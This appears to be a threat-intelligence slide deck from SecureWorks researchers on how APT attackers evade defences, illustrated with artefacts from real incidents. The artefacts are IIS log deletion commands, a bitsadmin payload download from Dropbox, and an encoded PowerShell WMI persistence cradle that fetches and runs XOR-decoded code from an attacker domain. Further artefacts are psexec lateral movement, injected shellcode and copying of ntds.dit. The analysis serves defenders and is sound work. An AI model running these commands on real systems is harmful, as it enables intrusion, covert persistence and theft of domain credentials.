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**SAN JUAN**  
**PUERTO RICO**  
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**FIGHTING PIRATES AND PRIVATEERS**

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# Defensive Evasion: How APT Adversaries Bypass Security Controls

~~Phil Burdette~~

**Aaron Shelmire**



# Where's PHIL?

## Shellfire

Attends Undergrad in Northern Pennsylvania

Attends Graduate Program at Carnegie Mellon

Begins working at CERT/CC

Joins the SecureWorks Counter Threat Unit

Leaves the SecureWorks Counter Threat Unit

Leaves PHIL with an RSA Presentation

Rejoins the SecureWorks Counter Threat Unit

## Nighthawk

Attends Undergrad in Northern Pennsylvania

Attends Graduate Program at Carnegie Mellon

Begins working at CERT/CC

Joins the SecureWorks Counter Threat Unit


Leaves the SecureWorks Counter Threat Unit

Leaves Aaron with a FIRST presentation



# The Obvious – Removing Logs

```
• "cmd" /c cd /d "C:\inetpub\wwwroot\"&ver&echo [S]&cd&echo [E] (2016-09-05T14:30:00.867908)
• "cmd" /c cd /d "C:\inetpub\wwwroot\"&c:\windows\system32\inetsrv\appcmd unlock config -section:system.webServer/httplogging&echo [S]&cd&
• "cmd" /c cd /d "C:\inetpub\wwwroot\"&c:\windows\system32\inetsrv\appcmd set config "Default Web Site/" /section:httplogging /dontLog:true&
• "cmd" /c cd /d "C:\inetpub\wwwroot\"&del C:\inetpub\logs\LogFiles\W3SVC1\*.log /q&echo [S]&cd&echo [E] (2016-09-05T14:30:33.379558)
```



# The unspoken - Hiding in the Cloud

**Microsoft**

chrisweaver049



Member Since  
May 26, 2016

Biography  
{wEBNGhAtQTjXfyxNT7d8RucM3tmxABU=

getlook23 / project1

<> Code | Issues 1 | Pull requests 0 | Projects 0

## issue1 #1

Open getlook23 opened this issue on Jul 27 · 21 comments

getlook23 commented on Jul 27 • edited

AUd8X6VIYjk=

전체보기 (84) | 목록열기

### 테스트 9118 | 낙서장

2016.09.25, 11:21

<http://blog.naver.com/kyung2031/220820253867>

전용뷰어 보기

ip:[183.111.8.2]port:[9118]



# Dropping the Powershell

Host	! bad	3W8C0T3-8L0X7H
Program	✓ ok	bitsadmin.exe
Pid		5620
Create Time		2016-02-10T16:01:20.137871
Image Path		C:\Windows\SysWOW64\bitsadmin.exe
Parent Image Path		C:\Users\8251556\AppData\Local\Temp\7j0A1f0P705i\2z0P8E2c5p3q\5C7Z2m4K1A2P5Q\8F5j4u6t5k1n6S3X\4i6d7J8k6d6f0a\8E6L2T2M8p8b2o.exe
Command Line		bitsadmin /transfer myjob /download /priority High https://www.dropbox.com/s/ri0ydpq58klyilc/index.txt?dl=003D1 C:\Users\8251556\AppData\Local\Temp\4G3c0D.6S0r6a6d
User		8251556
Parent		"C:\Users\8251556\AppData\Local\Temp\7j0A1f0P705i\2z0P8E2c5p3q\5C7Z2m4K1A2P5Q\8F5j4u6t5k1n6S3X\4i6d7J8k6d6f0a\8E6L2T2M8p8b2o.exe"

**Process Tree**

- C:\Windows\Explorer.EXE
  - C:\Users\8251556\AppData\Local\Temp\7j0A1f0P705i\2z0P8E2c5p3q\5C7Z2m4K1A2P5Q\8F5j4u6t5k1n6S3X\4i6d7J8k6d6f0a\8E6L2T2M8p8b2o.exe
    - bitsadmin /transfer myjob /download /priority High https://www.dropbox.com/s/ri0ydpq58klyilc/index.txt?dl=003D1  
C:\Users\8251556\AppData\Local\Temp\4G3c0D.6S0r6a6d

The diagram illustrates the process flow. A blue box highlights the parent process path in the Command Line and Process Tree. An arrow points from the parent process path to a box labeled 'bitsadmin.exe'. Another arrow points from the Command Line URL to a Dropbox logo. A third arrow points from the Dropbox logo to a red biohazard icon.

# WMI Consumers

## Description

A suspicious persistence mechanism was identified on the system. The Windows Management Interface can be used to start programs in response to a variety of events. This is an uncommon and easily overlooked mechanism that has been abused to allow malware to persist. This configuration may be legitimate but probably merits review.


## References

- SecureWorks Blog: A Novel WMI Persistence Mechanism
- Playing with MOF files on Windows

## Technical Details


```
{-  
  "identification" : "CommandLineEventConsumer",  
  "persistent" : "c:\WINDOWS\System32\windowsPowerShell\v1.0\powershell.exe -NonI -w hidden -enc  
  JABXAEMAPQBOAGUAVWATAE8AYGBKAEUAYWBUACAAUWBAZAHMAVAB1AG0ALgBOAEUAVAAUAFCAEQBCAEMATABJAGUAbgBUADSAJAB1AD0AJwBWAEOAdwBhAHIAZQATAGM  
}
```

WMI Consumer



```
$wC=New-Object SYSTEM.NET.WebClient;$u='VMware-client/5.1.0';$wC.Headers.Add('User-Agent',$u);$wC.Proxy = [System.NET.WebRequest]::DefaultWebProxy;  
$wC.Proxy.Credentials =  
[System.NET.CredentialCache]::DefaultNetworkCredentials;$K='`13)k}t0&]Ub~e-  
BMqzmS{>$Wdp.L\ij';  
$i=0;[Char[]]$b=([Char[]]($wC.DownloadString("http://giantmeteor2016.com/init")))|%{$_  
-bXoR$k[$I++%$K.Length];IEX ($b-Join')
```

# If you don't see it...





# Anomaly Evasion: New User Profiles

```
LogParser.exe -i:EVT "SELECT DISTINCT timegenerated,EXTRACT_TOKEN(Strings,1,'|')  
AS Domain, RESOLVE_SID(EXTRACT_TOKEN(Strings,0,'|')) AS User,  
EXTRACT_TOKEN(Strings,3,'|') AS  
SessionName,RESOLVE_SID(EXTRACT_TOKEN(Strings,4,'|')) AS  
ClientName,EXTRACT_TOKEN(Strings,5,'|') AS ClientAddress,EventID FROM  
C:\Users\██████████\Desktop\logs\dc\██████████.evtx WHERE EventID=003D4624
```

```
ObjNetwork = CreateObject("Wscript.Network")  
strUser = ObjNetwork.UserName  
strCom = ObjNetwork.ComputerName  
dim ws  
set ws = wscript.createObject("wscript.shell")  
ws.run("cmd /c echo " + strUser + " --- " + strCom + ">>  
\\[REDACTED]\temp\delprof.dll"),0
```



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# System Configuration for Malice and Persistence




altiris®

```
.... 0x88b12a38:ACLIENT.EXE          5768   784
..... 0x888214e8:cmd.exe             3120  5768
```


```
CommandProcess: csrss.exe Pid: 716
CommandHistory: 0x4fa160 Application: cmd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0xcf8
Cmd #0 @ 0x4f5c48: cd \recycler
Cmd #1 @ 0x10bca78: ?sexec \\10.65.91.3 -s cmd.exe      ???0?? \\10.101.104.31\cs
Cmd #2 @ 0x4fa760: ?sexec \\10.24.32.14 -s cmd.exe$    ?
```

# Hunting the Hunter




# Endpoint Agent Impersonation

Source (Attacking) Process	(non-existent process) \Device\HarddiskVolume1\Windows\System32\lsass.exe
	524
	2016-01-25T20:38:06.456014
Target (Victim) Process	(non-existent process) \Device\HarddiskVolume1\Program Files (x86)\Dell SecureWorks\Red Cloak\redcloak.exe
	3272
	2016-01-25T20:45:29.836513
Injected Thread	3444
	2016-01-27T18:16:40.424248
	0x1df0000
	0x00000000 FC8B7424 0481EC00 200000E8 89000000 ..t\$. ....
	0x00000010 6089E531 D2648B52 308B520C 8B52148B `..1.d.R0.R..



## Process Tree

- wininit.exe (2016-02-06T04:54:07.944234)
  - C:\Windows\system32\services.exe (2016-02-06T04:54:16.870289)
    - "C:\Program Files\RhinoSoft\Serv-U\Serv-U.exe" -service (2016-02-06T04:54:39.567699)
      - "C:\Windows\System32\cmd.exe" /c cmd /c d:\temp\redcloak.exe /accepteula \\DC01 cmd /c copy c:\windows\temp\ntds.dit \\FTP01\d\$\temp\temp
        - ??\C:\Windows\system32\conhost.exe 0xffffffff (2016-05-08T05:40:28.697232)
          - cmd /c d:\temp\redcloak.exe /accepteula \\DC01 cmd /c copy c:\windows\temp\ntds.dit \\FTP01\d\$\temp\temp (2016-05-08T05:40:28.697232)



# Bring Your Own Virtual Machine

